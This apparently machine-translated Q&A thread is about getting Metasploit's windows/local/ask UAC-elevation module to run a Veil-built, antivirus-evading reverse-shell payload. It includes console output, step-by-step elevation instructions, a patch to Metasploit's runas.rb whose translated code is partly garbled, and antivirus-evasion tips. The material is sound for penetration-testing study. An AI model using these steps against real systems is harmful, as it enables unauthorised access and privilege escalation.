web-dev-qa-db-ja.com

UACバイパス付きのカスタムMetasploitペイロード

攻撃対象のマシンにアンチウイルスがインストールされています。

AVによって検出されない最初のリバースシェルペイロードを作成するために Veil Framework を使用することに成功しました。ただし、UACはWindows 7ターゲットで有効になっています。

Metasploitの exploit/windows/local/ask ユーザーにプロンプ​​トを表示するために、ユーザーが[はい]をクリックして、ペイロードが昇格された特権で別のリバースシェルを作成できることを期待します。

ただし、デフォルトのmetasploitペイロードはAVによって検出されるため、 payload/generic/customPAYLOADFILEを私の生成したベールに設定するには.exe。ただし、エクスプロイトを実行すると、次のエラーメッセージが表示されます。

msf exploit(ask) > exploit 

[*] UAC is Enabled, checking level...
[*] The user will be prompted, wait for them to click 'Ok'
[-] Exploit failed: NoMethodError undefined method `length' for nil:NilClass

UACをバイパスする方法は他にもあることに気づきました。

  • exploit/windows/local/bypassuac

  • exploit/windows/local/bypassuac_injection

このペンテスト実験の一部として、私はエンドユーザーにペイロードを手動で許可してもらいたいのですが。

私の構文はエクスプロイトに対して正しいですか?

msf exploit(ask) > show options 

Module options (exploit/windows/local/ask):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   FILENAME                    no        File name on disk
   PATH                        no        Location on disk, %TEMP% used if not set
   SESSION    4                yes       The session to run this module on.
   TECHNIQUE  EXE              yes       Technique to use (Accepted: PSH, EXE)


Payload options (generic/custom):

   Name         Current Setting                                      Required  Description
   ----         ---------------                                      --------  -----------
   PAYLOADFILE  /usr/share/veil-output/compiled/payload_0907_cs.exe  no        The file to read the payload from
   PAYLOADSTR                                                        no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   Windows

エラーをGoogleで検索しましたが、関連するものは何も返さないようです。私はこれを正しい方法で行っていますか?

13
SilverlightFox

再生時に同じ問題が発生しました。

[〜#〜]更新[〜#〜]

_windows/local/ask_エクスプロイトを使用している場合、あなたはペイロードを設定する必要がないを利用しているようです。 _windows/local/ask_エクスプロイトでは、undetectabletrojan.exeへの参照を設定できます。これは、UACを介して昇格された特権で実行されます。ただし、 @ SilverlightFox で指摘されているように、askエクスプロイトは常にAVによって簡単に検出される自己生成されたペイロードを使用します。これに対抗するには、_/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb_のいくつかの変更が必要です。

コードの変更

  • _/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb_を開く
  • _def Shell_execute_exe_メソッドを次のように編集します( Pastebin ):def Shell_execute_exe(filename = nil, path = nil) exe_payload = generate_payload_exe payload_filename = filename || Rex::Text.Rand_text_alpha((Rand(8) + 6)) + '.exe' payload_path = path || get_env('TEMP') cmd_location = "#{payload_path}\#{payload_filename}" if filename == nil print_status("Uploading payload to the filesystem...") write_file(cmd_location, exe_payload) else print_status("Using #{payload_filename}...") end command, args = cmd_location, nil Shell_exec(command, args) end

  • MSFをリロード

エクスプロイトを使用する

正確な手順は次のとおりです。

  • 検出できないリバースシェルexeを生成します(undetectabletrojan.exeと呼びましょう)
  • 特権のないメータープリッターセッションを取得する
  • 非特権セッションを介してundectabletrojan.exeをアップロード(例:c:\ tmp)
  • この特権のないセッションをバックグラウンド化し、新しいエクスプロイトをセットアップします(_windows/local/ask_)
  • _windows/local/ask_エクスプロイトの次のオプションを設定します。
    • ファイル名undectabletrojan.exeを設定
    • パスc:\ tmpを設定します
  • ペイロードを設定しなかった場合でも、LPORTおよびLHOSTオプションを設定する必要があります。明らかに、askエクスプロイトは常にWindowsのreverse_tcpペイロードを使用します。
  • exploit
  • 特権のある2番目のセッションが行われます。

修正は_/usr/share/metasploit-framework/lib/msf/core/post/windows/runas.rb_を変更することです。

  • 23行目では、print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")について言及しています
  • これを次のように変更します:print_status("Uploading #{payload_filename}...")

  • 保存する

  • Msfconsoleを終了する
  • Msfconsoleの再起動後に必ず「reload-all」を実行してください

変更が反映される前にmsfconsoleを数回再起動する必要がありましたが、その後はうまくいきました。それが何を言っているのか教えてください。

12
Michael

PowershellのTECHNIQUEオプションをPSHに設定すると、AV回避問題を解決するように見えました。アンチウイルスは、悪意のあるPowershellコードを実行可能なコードとほとんど同じように検出しません。

おかげで @Michael彼の答え 、 exploit/windows/local/askは、テスト中に手動でアップロードしたペイロードをFILENAMEで設定したもので上書きするように見えたため、これは私にとっては機能しませんでした。

リビジョン でのMichaelの回答は機能しませんでしたが、 リビジョン5 でのrunasモジュールへのコード修正は、問題なく動作します。

2
SilverlightFox